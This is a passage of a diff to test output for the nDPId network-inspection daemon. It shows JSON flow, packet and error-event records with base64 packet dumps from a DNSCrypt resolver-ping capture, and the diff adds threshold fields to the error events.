failed","datalink":1,"packet_id":65,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304599904} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":12,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304599904,"packet_id":65,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304599904} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":65,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304599889,"pkt":"REREREREZmZmZmZmCABFAABQZhgAub0REvsKAAAB0frxGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00755{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":2,"flow_src_last_pkt_time":946739304599728,"flow_dst_last_pkt_time":946739304626301,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"thread_ts_usec":946739304626301,"pkt":"ZmZmZmZmRERERERECABFAADPni1AADcRISDR+vEZCgAAAQG7gBkAu2Pi8VmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAfYAKepZwtScVP1uN5sT5N32akeuKSAV4oXU5Dhs9DYGIJJAdGKfXtNXiElvsQvm00KyC1gH3yBcsV0UHMhcHDXsbONUID12Y3+IJuxI0oT3pvizj3NQWIv0z50xYMyIaexs41QgPXZgAAAABX1N8A19UzYM="} 00756{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":67,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":2,"flow_src_last_pkt_time":946739304599740,"flow_dst_last_pkt_time":946739304626439,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":221,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":221,"pkt_l4_len":187,"thread_ts_usec":946739304626439,"pkt":"ZmZmZmZmRERERERECABFAADPni5AADcRIR\/R+vEZCgAAAQG72uMAuwkd8VSBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhtZWdhbmVyZAAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAfYAKepZwtScVP1uN5sT5N32akeuKSAV4oXU5Dhs9DYGIJJAdGKfXtNXiElvsQvm00KyC1gH3yBcsV0UHMhcHDXsbONUID12Y3+IJuxI0oT3pvizj3NQWIv0z50xYMyIaexs41QgPXZgAAAABX1N8A19UzYM="} @@ -151,9 +151,9 @@ 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":71,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":32,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304628383,"flow_src_last_pkt_time":946739304628383,"flow_dst_last_pkt_time":946739304628383,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304628383,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":46229,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":71,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_src_last_pkt_time":946739304628383,"flow_dst_last_pkt_time":946739304628383,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739304628383,"pkt":"REREREREZmZmZmZmCABFAAXcpRogAL0RA94KAAABKU9FDbSVAbsGBIFBBsIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":71,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":32,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304628383,"flow_src_last_pkt_time":946739304628383,"flow_dst_last_pkt_time":946739304628383,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304628383,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":46229,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":72,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304628389} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":13,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304628389,"packet_id":72,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304628389} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":72,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304628383,"pkt":"REREREREZmZmZmZmCABFAABQpRkAub0RKLIKAAABKU9FDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":73,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304628405} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":14,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304628405,"packet_id":73,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304628405} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":73,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304628383,"pkt":"REREREREZmZmZmZmCABFAABQpRoAub0RKLEKAAABKU9FDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":74,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":33,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304628422,"flow_src_last_pkt_time":946739304628422,"flow_dst_last_pkt_time":946739304628422,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304628422,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":56043,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_src_last_pkt_time":946739304628422,"flow_dst_last_pkt_time":946739304628422,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739304628422,"pkt":"REREREREZmZmZmZmCABFAAXcpRsgAL0RA90KAAABKU9FDdrrAbsGBFrpBsQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -161,7 +161,7 @@ 00772{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":75,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":34,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304628431,"flow_src_last_pkt_time":946739304628431,"flow_dst_last_pkt_time":946739304628431,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304628431,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":38136,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01199{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_src_last_pkt_time":946739304628431,"flow_dst_last_pkt_time":946739304628431,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739304628431,"pkt":"REREREREZmZmZmZmCABFAAIcpRxAAL0R55sKAAABKU9FDZT4AbsCCDEyBsMBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00877{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":75,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":34,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304628431,"flow_src_last_pkt_time":946739304628431,"flow_dst_last_pkt_time":946739304628431,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304628431,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":38136,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00227{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":76,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304628442} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":15,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739304628442,"packet_id":76,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739304628442} 00422{"packet_event_id":1,"packet_event_name":"packet","packet_id":76,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739304628431,"pkt":"REREREREZmZmZmZmCABFAABQpRsAub0RKLAKAAABKU9FDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00772{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":77,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":35,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304628531,"flow_src_last_pkt_time":946739304628531,"flow_dst_last_pkt_time":946739304628531,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304628531,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"41.79.69.13","src_port":56177,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01199{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_src_last_pkt_time":946739304628531,"flow_dst_last_pkt_time":946739304628531,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739304628531,"pkt":"REREREREZmZmZmZmCABFAAIcpR1AAL0R55oKAAABKU9FDdtxAbsCCDEyBsEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAJ0egRkMHduA2JpegAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -178,21 +178,17 @@ 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":83,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":38,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739304789547,"flow_src_last_pkt_time":946739304789547,"flow_dst_last_pkt_time":946739304789547,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739304789547,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"51.15.122.250","src_port":38867,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02482{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":83,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_src_last_pkt_time":946739304789547,"flow_dst_last_pkt_time":946739304789547,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739304789547,"pkt":"REREREREZmZmZmZmCABFAAXc6z8gAL0RfgsKAAABMw96+pfTAbsGBFECxkYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAxzY2FsZXdheS1hbXMAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA